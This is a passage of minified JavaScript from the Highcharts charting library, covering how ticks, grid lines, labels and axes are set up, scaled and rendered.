u=this.axis,e=u.options,o=this.gridLine,r={},l=this.pos,f=this.type,a=u.tickmarkOffset,v=u.chart.renderer,s=f?f+"Grid":"grid",c=e[s+"LineWidth"],h=e[s+"LineColor"],e=e[s+"LineDashStyle"];o||(r.stroke=h,r["stroke-width"]=c,e&&(r.dashstyle=e),f||(r.zIndex=1),n&&(r.opacity=0),this.gridLine=o=v.path().attr(r).addClass("highcharts-"+(f?f+"-":"")+"grid-line").add(u.gridGroup)),!n&&o&&(n=u.getPlotLinePath(l+a,o.strokeWidth()*i,n,!0))&&o[this.isNew?"attr":"animate"]({d:n,opacity:t})},renderMark:function(n,i,r){var u=this.axis,s=u.options,a=u.chart.renderer,f=this.type,h=f?f+"Tick":"tick",o=u.tickSize(h),e=this.mark,l=!e,v=n.x,c;n=n.y,c=t(s[h+"Width"],!f&&u.isXAxis?1:0),s=s[h+"Color"],o&&(u.opposite&&(o[0]=-o[0]),l&&(this.mark=e=a.path().addClass("highcharts-"+(f?f+"-":"")+"tick").add(u.axisGroup),e.attr({stroke:s,"stroke-width":c})),e[l?"attr":"animate"]({d:this.getMarkPath(v,n,o[0],e.strokeWidth()*r,u.horiz,a),opacity:i}))},renderLabel:function(n,i,r,f){var s=this.axis,a=s.horiz,l=s.options,e=this.label,o=l.labels,h=o.step,y=s.tickmarkOffset,c=!0,v=n.x;n=n.y,e&&u(v)&&(e.xy=n=this.getLabelPosition(v,n,e,a,o,y,f,h),this.isFirst&&!this.isLast&&!t(l.showFirstLabel,1)||this.isLast&&!this.isFirst&&!t(l.showLastLabel,1)?c=!1:!a||s.isRadial||o.step||o.rotation||i||0===r||this.handleOverflow(n),h&&f%h&&(c=!1),c&&u(n.y)?(n.opacity=r,e[this.isNewLabel?"attr":"animate"](n),this.isNewLabel=!1):(e.attr("y",-9999),this.isNewLabel=!0))},render:function(n,i,r){var u=this.axis,e=u.horiz,f=this.getPosition(e,this.pos,u.tickmarkOffset,i),s=f.x,o=f.y,u=e&&s===u.pos+u.len||!e&&o===u.pos?-1:1;r=t(r,1),this.isActive=!0,this.renderGridLine(i,r,u),this.renderMark(f,r,u),this.renderLabel(f,i,r,n),this.isNew=!1},destroy:function(){f(this,this.axis)}}}(t),i=function(n){var nt=n.addEvent,k=n.animObject,s=n.arrayMax,l=n.arrayMin,it=n.color,f=n.correctFloat,p=n.defaultOptions,i=n.defined,ot=n.deg2rad,y=n.destroyObjectProperties,r=n.each,ut=n.extend,w=n.fireEvent,g=n.format,st=n.getMagnitude,ft=n.grep,h=n.inArray,rt=n.isArray,u=n.isNumber,v=n.isString,c=n.merge,et=n.normalizeTickInterval,e=n.objectEach,t=n.pick,b=n.removeEvent,d=n.splat,tt=n.syncTimeout,o=n.Tick,a=function(){this.init.apply(this,arguments)};return n.extend(a.prototype,{defaultOptions:{dateTimeLabelFormats:{millisecond:"%H:%M:%S.%L",second:"%H:%M:%S",minute:"%H:%M",hour:"%H:%M",day:"%e. %b",week:"%e. %b",month:"%b '%y",year:"%Y"},endOnTick:!1,labels:{enabled:!0,style:{color:"#666666",cursor:"default",fontSize:"11px"},x:0},maxPadding:.01,minorTickLength:2,minorTickPosition:"outside",minPadding:.01,startOfWeek:1,startOnTick:!1,tickLength:10,tickmarkPlacement:"between",tickPixelInterval:100,tickPosition:"outside",title:{align:"middle",style:{color:"#666666"}},type:"linear",minorGridLineColor:"#f2f2f2",minorGridLineWidth:1,minorTickColor:"#999999",lineColor:"#ccd6eb",lineWidth:1,gridLineColor:"#e6e6e6",tickColor:"#ccd6eb"},defaultYAxisOptions:{endOnTick:!0,tickPixelInterval:72,showLastLabel:!0,labels:{x:-8},maxPadding:.05,minPadding:.05,startOnTick:!0,title:{rotation:270,text:"Values"},stackLabels:{allowOverlap:!1,enabled:!1,formatter:function(){return n.numberFormat(this.total,-1)},style:{fontSize:"11px",fontWeight:"bold",color:"#000000",textOutline:"1px contrast"}},gridLineWidth:1,lineWidth:0},defaultLeftAxisOptions:{labels:{x:-15},title:{rotation:270}},defaultRightAxisOptions:{labels:{x:15},title:{rotation:90}},defaultBottomAxisOptions:{labels:{autoRotation:[-45],x:0},title:{rotation:0}},defaultTopAxisOptions:{labels:{autoRotation:[-45],x:0},title:{rotation:0}},init:function(n,r){var o=r.isX,u=this,f,s;u.chart=n,u.horiz=n.inverted&&!u.isZAxis?!o:o,u.isXAxis=o,u.coll=u.coll||(o?"xAxis":"yAxis"),u.opposite=r.opposite,u.side=r.side||(u.horiz?u.opposite?0:2:u.opposite?1:3),u.setOptions(r),f=this.options,s=f.type,u.labelFormatter=f.labels.formatter||u.defaultLabelFormatter,u.userOptions=r,u.minPixelPadding=0,u.reversed=f.reversed,u.visible=!1!==f.visible,u.zoomEnabled=!1!==f.zoomEnabled,u.hasNames="category"===s||!0===f.categories,u.categories=f.categories||u.hasNames,u.names=u.names||[],u.plotLinesAndBandsGroups={},u.isLog="logarithmic"===s,u.isDatetimeAxis="datetime"===s,u.positiveValuesOnly=u.isLog&&!u.allowNegativeLog,u.isLinked=i(f.linkedTo),u.ticks={},u.labelEdge=[],u.minorTicks={},u.plotLinesAndBands=[],u.alternateBands={},u.len=0,u.minRange=u.userMinRange=f.minRange||f.maxZoom,u.range=f.range,u.offset=f.offset||0,u.stacks={},u.oldStacks={},u.stacksTouched=0,u.max=null,u.min=null,u.crosshair=t(f.crosshair,d(n.options.tooltip.crosshairs)[o?0:1],!1),r=u.options.events,-1===h(u,n.axes)&&(o?n.axes.splice(n.xAxis.length,0,u):n.axes.push(u),n[u.coll].push(u)),u.series=u.series||[],n.inverted&&!u.isZAxis&&o&&void 0===u.reversed&&(u.reversed=!0),e(r,function(n,t){nt(u,t,n)}),u.lin2log=f.linearToLogConverter||u.lin2log,u.isLog&&(u.val2lin=u.log2lin,u.lin2val=u.lin2log)},setOptions:function(n){this.options=c(this.defaultOptions,"yAxis"===this.coll&&this.defaultYAxisOptions,[this.defaultTopAxisOptions,this.defaultRightAxisOptions,this.defaultBottomAxisOptions,this.defaultLeftAxisOptions][this.side],c(p[this.coll],n))},defaultLabelFormatter:function(){var r=this.axis,t=this.value,f=r.categories,h=this.dateTimeLabelFormat,o=p.lang,e=o.numericSymbols,o=o.numericSymbolMagnitude||1e3,u=e&&e.length,i,s=r.options.labels.format,r=r.isLog?Math.abs(t):r.tickInterval;if(s)i=g(s,this);else if(f)i=t;else if(h)i=n.dateFormat(h,t);else if(u&&1e3<=r)for(;u--&&void 0===i;)f=Math.pow(o,u+1),r>=f&&0==10*t%f&&null!==e[u]&&0!==t&&(i=n.numberFormat(t/f,-1)+e[u]);return void 0===i&&(i=1e4<=Math.abs(t)?n.numberFormat(t,-1):n.numberFormat(t,-1,void 0,"")),i},getSeriesExtremes:function(){var n=this,f=n.chart;n.hasVisibleSeries=!1,n.dataMin=n.dataMax=n.threshold=null,n.softThreshold=!n.isXAxis,n.buildStacks&&n.buildStacks(),r(n.series,function(r){if(r.visible||!f.options.chart.ignoreHiddenSeries){var e=r.options,h=e.threshold,o;n.hasVisibleSeries=!0,n.positiveValuesOnly&&0>=h&&(h=null),n.isXAxis?(e=r.xData,e.length&&(r=l(e),o=s(e),u(r)||r instanceof Date||(e=ft(e,u),r=l(e)),n.dataMin=Math.min(t(n.dataMin,e[0],r),r),n.dataMax=Math.max(t(n.dataMax,e[0],o),o))):(r.getExtremes(),o=r.dataMax,r=r.dataMin,i(r)&&i(o)&&(n.dataMin=Math.min(t(n.dataMin,r),r),n.dataMax=Math.max(t(n.dataMax,o),o)),i(h)&&(n.threshold=h),!e.softThreshold||n.positiveValuesOnly)&&(n.softThreshold=!1)}})},translate:function(n,t,i,r,f,e){var o=this.linkedParent||this,s=1,c=0,h=r?o.oldTransA:o.transA,l;return r=r?o.oldMin:o.min,l=o.minPixelPadding,f=(o.isOrdinal||o.isBroken||o.isLog&&f)&&o.lin2val,h||(h=o.transA),i&&(s*=-1,c=o.len),o.reversed&&(s*=-1,c-=s*(o.sector||o.len)),t?(n=(n*s+c-l)/h+r,f&&(n=o.lin2val(n))):(f&&(n=o.val2lin(n)),n=u(r)?s*(n-r)*h+c+s*l+(u(e)?h*e:0):void 0),n},toPixels:function(n,t){return this.translate(n,!1,!this.horiz,null,!0)+(t?0:this.pos)},toValue:function(n,t){return this.translate(n-(t?0:this.pos),!0,!this.horiz,null,!0)},getPlotLinePath:function(n,i,r,f,e){var s=this.chart,v=this.left,a=this.top,o,h,y=r&&s.oldChartHeight||s.chartHeight,p=r&&s.oldChartWidth||s.chartWidth,c,l;return o=this.transB,l=function(n,t,i){return(n<t||n>i)&&(f?n=Math.min(Math.max(t,n),i):c=!0),n},e=t(e,this.translate(n,null,null,r)),n=r=Math.round(e+o),o=h=Math.round(y-e-o),u(e)?this.horiz?(o=a,h=y-this.bottom,n=r=l(n,v,v+this.width)):(n=v,r=p-this.right,o=h=l(o,a,a+this.height)):(c=!0,f=!1),c&&!f?null:s.renderer.crispLine(["M",n,o,"L",r,h],i||1)},getLinearTickPositions:function(n,t,i){var o,u=f(Math.floor(t/n)*n),r,e;if(i=f(Math.ceil(i/n)*n),r=[],f(u+n)===u&&(e=20),this.single)return[t];for(t=u;t<=i;){if(r.push(t),t=f(t+n,e),t===o)break;o=t}return r},getMinorTickInterval:function(){var n=this.options;return!0===n.minorTicks?t(n.minorTickInterval,"auto"):!1===n.minorTicks?null:n.minorTickInterval},getMinorTickPositions:function(){var n=this,i=n.options,s=n.tickPositions,f=n.minorTickInterval,t=[],u=n.pointRangePadding||0,e=n.min-u,u=n.max+u,o=u-e;if(o&&o/f<n.len/3)if(n.isLog)r(this.paddedTicks,function(i,r,u){r&&t.push.apply(t,n.getLogTickPositions(f,u[r-1],u[r],!0))});else if(n.isDatetimeAxis&&"auto"===this.getMinorTickInterval())t=t.concat(n.getTimeTicks(n.normalizeTimeTickInterval(f),e,u,i.startOfWeek));else for(i=e+(s[0]-e)%f;i<=u&&i!==t[0];i+=f)t.push(i);return 0!==t.length&&n.trimTicks(t),t},adjustForMinRange:function(){var h=this.options,n=this.min,u=this.max,f,v,c,o,y,a,p,e;this.isXAxis&&void 0===this.minRange&&!this.isLog&&(i(h.min)||i(h.max)?this.minRange=null:(r(this.series,function(n){for(a=n.xData,o=p=n.xIncrement?1:a.length-1;0<o;o--)(y=a[o]-a[o-1],void 0===c||y<c)&&(c=y)}),this.minRange=Math.min(5*c,this.dataMax-this.dataMin))),u-n<this.minRange&&(v=this.dataMax-this.dataMin>=this.minRange,e=this.minRange,f=(e-u+n)/2,f=[n-f,t(h.min,n-f)],v&&(f[2]=this.isLog?this.log2lin(this.dataMin):this.dataMin),n=s(f),u=[n+e,t(h.max,n+e)],v&&(u[2]=this.isLog?this.log2lin(this.dataMax):this.dataMax),u=l(u),u-n<e&&(f[0]=u-e,f[1]=t(h.min,u-e),n=s(f))),this.min=n,this.max=u},getClosest:function(){var n;return this.categories?n=1:r(this.series,function(t){var r=t.closestPointRange,u=t.visible||!t.chart.options.chart.ignoreHiddenSeries;!t.noSharedTooltip&&i(r)&&u&&(n=i(n)?Math.min(n,r):r)}),n},nameToX:function(n){var f=rt(this.categories),u=f?this.categories:this.names,r=n.options.x,t;return n.series.requireSorting=!1,i(r)||(r=!1===this.options.uniqueNames?n.series.autoIncrement():h(n.name,u)),-1===r?f||(t=u.length):t=r,void 0!==t&&(this.names[t]=n.name),t},updateNames:function(){var n=this;0<this.names.length&&(this.names.length=0,this.minRange=this.userMinRange,r(this.series||[],function(t){t.xIncrement=null,(!t.points||t.isDirtyData)&&(t.processData(),t.generatePoints()),r(t.points,function(i,r){var u;i.options&&(u=n.nameToX(i),void 0!==u&&u!==i.x&&(i.x=u,t.xData[r]=u))})}))},setAxisTranslation:function(n){var i=this,l=i.max-i.min,s=i.axisPointRange||0,o,f=0,e=0,u=i.linkedParent,a=!!i.categories,h=i.transA,c=i.isXAxis;(c||a||s)&&(o=i.getClosest(),u?(f=u.minPointOffset,e=u.pointRangePadding):r(i.series,function(n){var r=a?1:c?t(n.options.pointRange,o,0):i.axisPointRange||0;n=n.options.pointPlacement,s=Math.max(s,r),i.single||(f=Math.max(f,v(n)?0:r/2),e=Math.max(e,"on"===n?0:r))}),u=i.ordinalSlope&&o?i.ordinalSlope/o:1,i.minPointOffset=f*=u,i.pointRangePadding=e*=u,i.pointRange=Math.min(s,l),c&&(i.closestPointRange=o)),n&&(i.oldTransA=h),i.translationSlope=i.transA=h=i.options.staticScale||i.len/(l+e||1),i.transB=i.horiz?i.left:i.bottom,i.minPixelPadding=h*f},minFromRange:function(){return this.max-this.range},setTickInterval:function(e){var o=this,l=o.chart,s=o.options,tt=o.isLog,y=o.log2lin,rt=o.isDatetimeAxis,ft=o.isXAxis,p=o.isLinked,k=s.maxPadding,g=s.minPadding,c=s.tickInterval,d=s.tickPixelInterval,b=o.categories,h=o.threshold,ut=o.softThreshold,it,nt,v,a;rt||b||p||this.getTickAmount(),v=t(o.userMin,s.min),a=t(o.userMax,s.max),p?(o.linkedParent=l[o.coll][s.linkedTo],l=o.linkedParent.getExtremes(),o.min=t(l.min,l.dataMin),o.max=t(l.max,l.dataMax),s.type!==o.linkedParent.options.type&&n.error(11,1)):(!ut&&i(h)&&(o.dataMin>=h?(it=h,g=0):o.dataMax<=h&&(nt=h,k=0)),o.min=t(v,it,o.dataMin),o.max=t(a,nt,o.dataMax)),tt&&(o.positiveValuesOnly&&!e&&0>=Math.min(o.min,t(o.dataMin,o.min))&&n.error(10,1),o.min=f(y(o.min),15),o.max=f(y(o.max),15)),o.range&&i(o.max)&&(o.userMin=o.min=v=Math.max(o.dataMin,o.minFromRange()),o.userMax=a=o.max,o.range=null),w(o,"foundExtremes"),o.beforePadding&&o.beforePadding(),o.adjustForMinRange(),!(b||o.axisPointRange||o.usePercentage||p)&&i(o.min)&&i(o.max)&&(y=o.max-o.min)&&(!i(v)&&g&&(o.min-=y*g),!i(a)&&k&&(o.max+=y*k)),u(s.softMin)&&(o.min=Math.min(o.min,s.softMin)),u(s.softMax)&&(o.max=Math.max(o.max,s.softMax)),u(s.floor)&&(o.min=Math.max(o.min,s.floor)),u(s.ceiling)&&(o.max=Math.min(o.max,s.ceiling)),ut&&i(o.dataMin)&&(h=h||0,!i(v)&&o.min<h&&o.dataMin>=h?o.min=h:!i(a)&&o.max>h&&o.dataMax<=h&&(o.max=h)),o.tickInterval=o.min===o.max||void 0===o.min||void 0===o.max?1:p&&!c&&d===o.linkedParent.options.tickPixelInterval?c=o.linkedParent.tickInterval:t(c,this.tickAmount?(o.max-o.min)/Math.max(this.tickAmount-1,1):void 0,b?1:(o.max-o.min)*d/Math.max(o.len,d)),ft&&!e&&r(o.series,function(n){n.processData(o.min!==o.oldMin||o.max!==o.oldMax)}),o.setAxisTranslation(!0),o.beforeSetTickPositions&&o.beforeSetTickPositions(),o.postProcessTickInterval&&(o.tickInterval=o.postProcessTickInterval(o.tickInterval)),o.pointRange&&!c&&(o.tickInterval=Math.max(o.pointRange,o.tickInterval)),e=t(s.minTickInterval,o.isDatetimeAxis&&o.closestPointRange),!c&&o.tickInterval<e&&(o.tickInterval=e),rt||tt||c||(o.tickInterval=et(o.tickInterval,null,st(o.tickInterval),t(s.allowDecimals,!(.5<o.tickInterval&&5>o.tickInterval&&1e3<o.max&&9999>o.max)),!!this.tickAmount)),this.tickAmount||(o.tickInterval=o.unsquish()),this.setTickPositions()},setTickPositions:function(){var t=this.options,n,u=t.tickPositions;n=this.getMinorTickInterval();var r=t.tickPositioner,e=t.startOnTick,f=t.endOnTick;this.tickmarkOffset=this.categories&&"between"===t.tickmarkPlacement&&1===this.tickInterval?.5:0,this.minorTickInterval="auto"===n&&this.tickInterval?this.tickInterval/5:n,this.single=this.min===this.max&&i(this.min)&&!this.tickAmount&&(parseInt(this.min,10)===this.min||!1!==t.allowDecimals),this.tickPositions=n=u&&u.slice(),!n&&(n=this.isDatetimeAxis?this.getTimeTicks(this.normalizeTimeTickInterval(this.tickInterval,t.units),this.min,this.max,t.startOfWeek,this.ordinalPositions,this.closestPointRange,!0):this.isLog?this.getLogTickPositions(this.tickInterval,this.min,this.max):this.getLinearTickPositions(this.tickInterval,this.min,this.max),n.length>this.len&&(n=[n[0],n.pop()],n[0]===n[1]&&(n.length=1)),this.tickPositions=n,r&&(r=r.apply(this,[this.min,this.max])))&&(this.tickPositions=n=r),this.paddedTicks=n.slice(0),this.trimTicks(n,e,f),this.isLinked||(this.single&&2>n.length&&(this.min-=.5,this.max+=.5),u||r||this.adjustTickAmount())},trimTicks:function(n,t,r){var u=n[0],e=n[n.length-1],f=this.minPointOffset||0;if(!this.isLinked){if(t&&-Infinity!==u)this.min=u;else for(;this.min-f>n[0];)n.shift();if(r)this.max=e;else for(;this.max+f<n[n.length-1];)n.pop();0===n.length&&i(u)&&n.push((e+u)/2)}},alignToOthers:function(){var t={},n,i=this.options;return!1===this.chart.options.chart.alignTicks||!1===i.alignTicks||this.isLog||r(this.chart[this.coll],function(i){var r=i.options,r=[i.horiz?r.left:r.top,r.width,r.height,r.pane].join();i.series.length&&(t[r]?n=!0:t[r]=1)}),n},getTickAmount:function(){var t=this.options,n=t.tickAmount,r=t.tickPixelInterval;!i(t.tickInterval)&&this.len<r&&!this.isRadial&&!this.isLog&&t.startOnTick&&t.endOnTick&&(n=2),!n&&this.alignToOthers()&&(n=Math.ceil(this.len/r)+1),4>n&&(this.finalTickAmt=n,n=5),this.tickAmount=n},adjustTickAmount:function(){var t=this.tickInterval,n=this.tickPositions,r=this.tickAmount,e=this.finalTickAmt,u=n&&n.length;if(u<r){for(;n.length<r;)n.push(f(n[n.length-1]+t));this.transA*=(u-1)/(r-1),this.max=n[n.length-1]}else u>r&&(this.tickInterval*=2,this.setTickPositions());if(i(e)){for(t=r=n.length;t--;)(3===e&&1==t%2||2>=e&&0<t&&t<r-1)&&n.splice(t,1);this.finalTickAmt=void 0}},setScale:function(){var t,n;this.oldMin=this.min,this.oldMax=this.max,this.oldAxisLength=this.len,this.setAxisSize(),n=this.len!==this.oldAxisLength,r(this.series,function(n){(n.isDirtyData||n.isDirty||n.xAxis.isDirty)&&(t=!0)}),n||t||this.isLinked||this.forceRedraw||this.userMin!==this.oldUserMin||this.userMax!==this.oldUserMax||this.alignToOthers()?(this.resetStacks&&this.resetStacks(),this.forceRedraw=!1,this.getSeriesExtremes(),this.setTickInterval(),this.oldUserMin=this.userMin,this.oldUserMax=this.userMax,this.isDirty||(this.isDirty=n||this.min!==this.oldMin||this.max!==this.oldMax)):this.cleanStacks&&this.cleanStacks()},setExtremes:function(n,i,u,f,e){var o=this,s=o.chart;u=t(u,!0),r(o.series,function(n){delete n.kdTree}),e=ut(e,{min:n,max:i}),w(o,"setExtremes",e,function(){o.userMin=n,o.userMax=i,o.eventArgs=e,u&&s.redraw(f)})},zoom:function(n,r){var e=this.dataMin,o=this.dataMax,u=this.options,f=Math.min(e,t(u.min,e)),u=Math.max(o,t(u.max,o));return(n!==this.min||r!==this.max)&&(this.allowZoomOutside||(i(e)&&(n<f&&(n=f),n>u&&(n=u)),i(o)&&(r<f&&(r=f),r>u&&(r=u))),this.displayBtn=void 0!==n||void 0!==r,this.setExtremes(n,r,!1,void 0,{trigger:"zoom"})),!0},setAxisSize:function(){var i=this.chart,r=this.options,u=r.offsets||[0,0,0,0],o=this.horiz,s=this.width=Math.round(n.relativeLength(t(r.width,i.plotWidth-u[3]+u[1]),i.plotWidth)),f=this.height=Math.round(n.relativeLength(t(r.height,i.plotHeight-u[0]+u[2]),i.plotHeight)),e=this.top=Math.round(n.relativeLength(t(r.top,i.plotTop+u[0]),i.plotHeight,i.plotTop)),r=this.left=Math.round(n.relativeLength(t(r.left,i.plotLeft+u[3]),i.plotWidth,i.plotLeft));this.bottom=i.chartHeight-f-e,this.right=i.chartWidth-s-r,this.len=Math.max(o?s:f,0),this.pos=o?r:e},getExtremes:function(){var t=this.isLog,n=this.lin2log;return{min:t?f(n(this.min)):this.min,max:t?f(n(this.max)):this.max,dataMin:this.dataMin,dataMax:this.dataMax,userMin:this.userMin,userMax:this.userMax}},getThreshold:function(n){var t=this.isLog,r=this.lin2log,i=t?r(this.min):this.min,t=t?r(this.max):this.max;return null===n?n=i:i>n?n=i:t<n&&(n=t),this.translate(n,0,1,0,1)},autoLabelAlign:function(n){return n=(t(n,0)-90*this.side+720)%360,15<n&&165>n?"right":195<n&&345>n?"left":"center"},tickSize:function(n){var r=this.options,i=r[n+"Length"],u=t(r[n+"Width"],"tick"===n&&this.isXAxis?1:0);if(u&&i)return"inside"===r[n+"Position"]&&(i=-i),[i,u]},labelMetrics:function(){var n=this.tickPositions&&this.tickPositions[0]||0;return this.chart.renderer.fontMetrics(this.options.labels.style&&this.options.labels.style.fontSize,this.ticks[n]&&this.ticks[n].label)},unsquish:function(){var n=this.options.labels,y=this.horiz,o=this.tickInterval,s=o,l=this.len/(((this.categories?1:0)+this.max-this.min)/o),a,u=n.rotation,v=this.labelMetrics(),e,c=Number.MAX_VALUE,f,h=function(n){return n/=l||1,n=1<n?Math.ceil(n):1,n*o};return y?(f=!n.staggerLines&&!n.step&&(i(u)?[u]:l<t(n.autoRotationLimit,80)&&n.autoRotation))&&r(f,function(n){var t;(n===u||n&&-90<=n&&90>=n)&&(e=h(Math.abs(v.h/Math.sin(ot*n))),t=e+Math.abs(n/360),t<c&&(c=t,a=n,s=e))}):n.step||(s=h(v.h)),this.autoRotation=f,this.labelRotation=t(a,u),s},getSlotWidth:function(){var t=this.chart,r=this.horiz,n=this.options.labels,u=Math.max(this.tickPositions.length-(this.categories?0:1),1),i=t.margin[3];return r&&2>(n.step||0)&&!n.rotation&&(this.staggerLines||1)*this.len/u||!r&&(n.style&&parseInt(n.style.width,10)||i&&i-t.spacing[3]||.33*t.chartWidth)},renderUnsquish:function(){var s=this.chart,b=s.renderer,e=this.tickPositions,h=this.ticks,t=this.options.labels,w=this.horiz,l=this.getSlotWidth(),n=Math.max(1,Math.round(l-2*(t.padding||5))),i={},o=this.labelMetrics(),p=t.style&&t.style.textOverflow,u,f=0,a,y;if(v(t.rotation)||(i.rotation=t.rotation||0),r(e,function(n){(n=h[n])&&n.labelLength>f&&(f=n.labelLength)}),this.maxLabelLength=f,this.autoRotation)f>n&&f>o.h?i.rotation=this.labelRotation:this.labelRotation=0;else if(l&&(u={width:n+"px"},!p))for(u.textOverflow="clip",a=e.length;!w&&a--;)(y=e[a],n=h[y].label)&&(n.styles&&"ellipsis"===n.styles.textOverflow?n.css({textOverflow:"clip"}):h[y].labelLength>l&&n.css({width:l+"px"}),n.getBBox().height>this.len/e.length-(o.h-o.f)&&(n.specCss={textOverflow:"ellipsis"}));i.rotation&&(u={width:(f>.5*s.chartHeight?.33*s.chartHeight:s.chartHeight)+"px"},p||(u.textOverflow="ellipsis")),(this.labelAlign=t.align||this.autoLabelAlign(this.labelRotation))&&(i.align=this.labelAlign),r(e,function(n){var t=(n=h[n])&&n.label;t&&(t.attr(i),u&&t.css(c(u,t.specCss)),delete t.specCss,n.rotation=i.rotation)}),this.tickRotCorr=b.rotCorr(o.b,this.labelRotation||0,0!==this.side)},hasData:function(){return this.hasVisibleSeries||i(this.min)&&i(this.max)&&this.tickPositions&&0<this.tickPositions.length},addTitle:function(n){var f=this.chart.renderer,u=this.horiz,r=this.opposite,t=this.options.title,i;this.axisTitle||((i=t.textAlign)||(i=(u?{low:"left",middle:"center",high:"right"}:{low:r?"right":"left",middle:"center",high:r?"left":"right"})[t.align]),this.axisTitle=f.text(t.text,0,0,t.useHTML).attr({zIndex:7,rotation:t.rotation||0,align:i}).addClass("highcharts-axis-title").css(t.style).add(this.axisGroup),this.axisTitle.isNew=!0),t.style.width||this.isRadial||this.axisTitle.css({width:this.len}),this.axisTitle[n?"show":"hide"](!0)},generateTick:function(n){var t=this.ticks;t[n]?t[n].addLabel():t[n]=new o(this,n)},getOffset:function(){var n=this,c=n.chart,a=c.renderer,f=n.options,k=n.tickPositions,g=n.ticks,d=n.horiz,u=n.side,ut=c.inverted&&!n.isZAxis?[1,0,3,2][u]:u,y,tt,rt=0,nt,o=0,h=f.title,l=f.labels,s=0,b=c.axisOffset,c=c.clipOffset,v=[-1,1,1,-1][u],w=f.className,p=n.axisParent,it=this.tickSize("tick");y=n.hasData(),n.showAxis=tt=y||t(f.showEmpty,!0),n.staggerLines=n.horiz&&l.staggerLines,n.axisGroup||(n.gridGroup=a.g("grid").attr({zIndex:f.gridZIndex||1}).addClass("highcharts-"+this.coll.toLowerCase()+"-grid "+(w||"")).add(p),n.axisGroup=a.g("axis").attr({zIndex:f.zIndex||2}).addClass("highcharts-"+this.coll.toLowerCase()+" "+(w||"")).add(p),n.labelGroup=a.g("axis-labels").attr({zIndex:l.zIndex||7}).addClass("highcharts-"+n.coll.toLowerCase()+"-labels "+(w||"")).add(p)),y||n.isLinked?(r(k,function(t,i){n.generateTick(t,i)}),n.renderUnsquish(),!1===l.reserveSpace||0!==u&&2!==u&&{1:"left",3:"right"}[u]!==n.labelAlign&&"center"!==n.labelAlign||r(k,function(n){s=Math.max(g[n].getLabelSize(),s)}),n.staggerLines&&(s*=n.staggerLines,n.labelOffset=s*(n.opposite?-1:1))):e(g,function(n,t){n.destroy(),delete g[t]}),h&&h.text&&!1!==h.enabled&&(n.addTitle(tt),tt&&!1!==h.reserveSpace&&(n.titleOffset=rt=n.axisTitle.getBBox()[d?"height":"width"],nt=h.offset,o=i(nt)?0:t(h.margin,d?5:10))),n.renderLine(),n.offset=v*t(f.offset,b[u]),n.tickRotCorr=n.tickRotCorr||{x:0,y:0},a=0===u?-n.labelMetrics().h:2===u?n.tickRotCorr.y:0,o=Math.abs(s)+o,s&&(o=o-a+v*(d?t(l.y,n.tickRotCorr.y+8*v):l.x)),n.axisTitleMargin=t(nt,o),b[u]=Math.max(b[u],n.axisTitleMargin+rt+v*n.offset,o,y&&k.length&&it?it[0]+v*n.offset:0),f=f.offset?0:2*Math.floor(n.axisLine.strokeWidth()/2),c[ut]=Math.max(c[ut],f)},getLinePath:function(n){var r=this.chart,u=this.opposite,t=this.offset,i=this.horiz,f=this.left+(u?this.width:0)+t,t=r.chartHeight-this.bottom-(u?this.height:0)+t;return u&&(n*=-1),r.renderer.crispLine(["M",i?this.left:f,i?t:this.top,"L",i?r.chartWidth-this.right:f,i?t:r.chartHeight-this.bottom],n)},renderLine:function(){this.axisLine||(this.axisLine=this.chart.renderer.path().addClass("highcharts-axis-line").add(this.axisGroup),this.axisLine.attr({stroke:this.options.lineColor,"stroke-width":this.options.lineWidth,zIndex:7}))},getTitlePosition:function(){var n=this.horiz,u=this.left,o=this.top,t=this.len,i=this.options.title,e=n?u:o,f=this.opposite,c=this.offset,l=i.x||0,h=i.y||0,r=this.axisTitle,s=this.chart.renderer.fontMetrics(i.style&&i.style.fontSize,r),r=Math.max(r.getBBox(null,0).height-s.h-1,0),t={low:e+(n?0:t),middle:e+t/2,high:e+(n?t:0)}[i.align],u=(n?o+this.height:u)+(n?1:-1)*(f?-1:1)*this.axisTitleMargin+[-r,r,s.f,-r][this.side];return{x:n?t+l:u+(f?this.width:0)+c+l,y:n?u+h-(f?this.height:0)+c:t+h}},renderMinorTick:function(n){var i=this.chart.hasRendered&&u(this.oldMin),t=this.minorTicks;t[n]||(t[n]=new o(this,n,"minor")),i&&t[n].isNew&&t[n].render(null,!0),t[n].render(null,!1,1)},renderTick:function(n,t){var f=this.isLinked,i=this.ticks,r=this.chart.hasRendered&&u(this.oldMin);(!f||n>=this.min&&n<=this.max)&&(i[n]||(i[n]=new o(this,n)),r&&i[n].isNew&&i[n].render(t,!0,.1),i[n].render(t))},render:function(){var t=this,y=t.chart,f=t.options,g=t.isLog,d=t.lin2log,rt=t.isLinked,l=t.tickPositions,s=t.axisTitle,a=t.ticks,w=t.minorTicks,i=t.alternateBands,it=f.stackLabels,nt=f.alternateGridColor,c=t.tickmarkOffset,h=t.axisLine,b=t.showAxis,ut=k(y.renderer.globalAnimation),p,v;t.labelEdge.length=0,t.overlap=!1,r([a,w,i],function(n){e(n,function(n){n.isActive=!1})}),(t.hasData()||rt)&&(t.minorTickInterval&&!t.categories&&r(t.getMinorTickPositions(),function(n){t.renderMinorTick(n)}),l.length&&(r(l,function(n,i){t.renderTick(n,i)}),c&&(0===t.min||t.single)&&(a[-1]||(a[-1]=new o(t,-1,null,!0)),a[-1].render(-1))),nt&&r(l,function(r,u){v=void 0!==l[u+1]?l[u+1]+c:t.max-c,0==u%2&&r<t.max&&v<=t.max+(y.polar?-c:c)&&(i[r]||(i[r]=new n.PlotLineOrBand(t)),p=r+c,i[r].options={from:g?d(p):p,to:g?d(v):v,color:nt},i[r].render(),i[r].isActive=!0)}),t._addedPlotLB||(r((f.plotLines||[]).concat(f.plotBands||[]),function(n){t.addPlotBandOrLine(n)}),t._addedPlotLB=!0)),r([a,w,i],function(n){var r,t=[],u=ut.duration;e(n,function(n,i){n.isActive||(n.render(i,!1,0),n.isActive=!1,t.push(i))}),tt(function(){for(r=t.length;r--;)n[t[r]]&&!n[t[r]].isActive&&(n[t[r]].destroy(),delete n[t[r]])},n!==i&&y.hasRendered&&u?u:0)}),h&&(h[h.isPlaced?"animate":"attr"]({d:this.getLinePath(h.strokeWidth())}),h.isPlaced=!0,h[b?"show":"hide"](!0)),s&&b&&(f=t.getTitlePosition(),u(f.y)?(s[s.isNew?"attr":"animate"](f),s.isNew=!1):(s.attr("y",-9999),s.isNew=!0)),it&&it.enabled&&t.renderStackTotals(),t.isDirty=!1},redraw:function(){this.visible&&(this.render(),r(this.plotLinesAndBands,function(n){n.render()})),r(this.series,function(n){n.isDirty=!0})},keepProps:"extKey hcEvents names series userMax userMin".split(" "),destroy:function(n){var 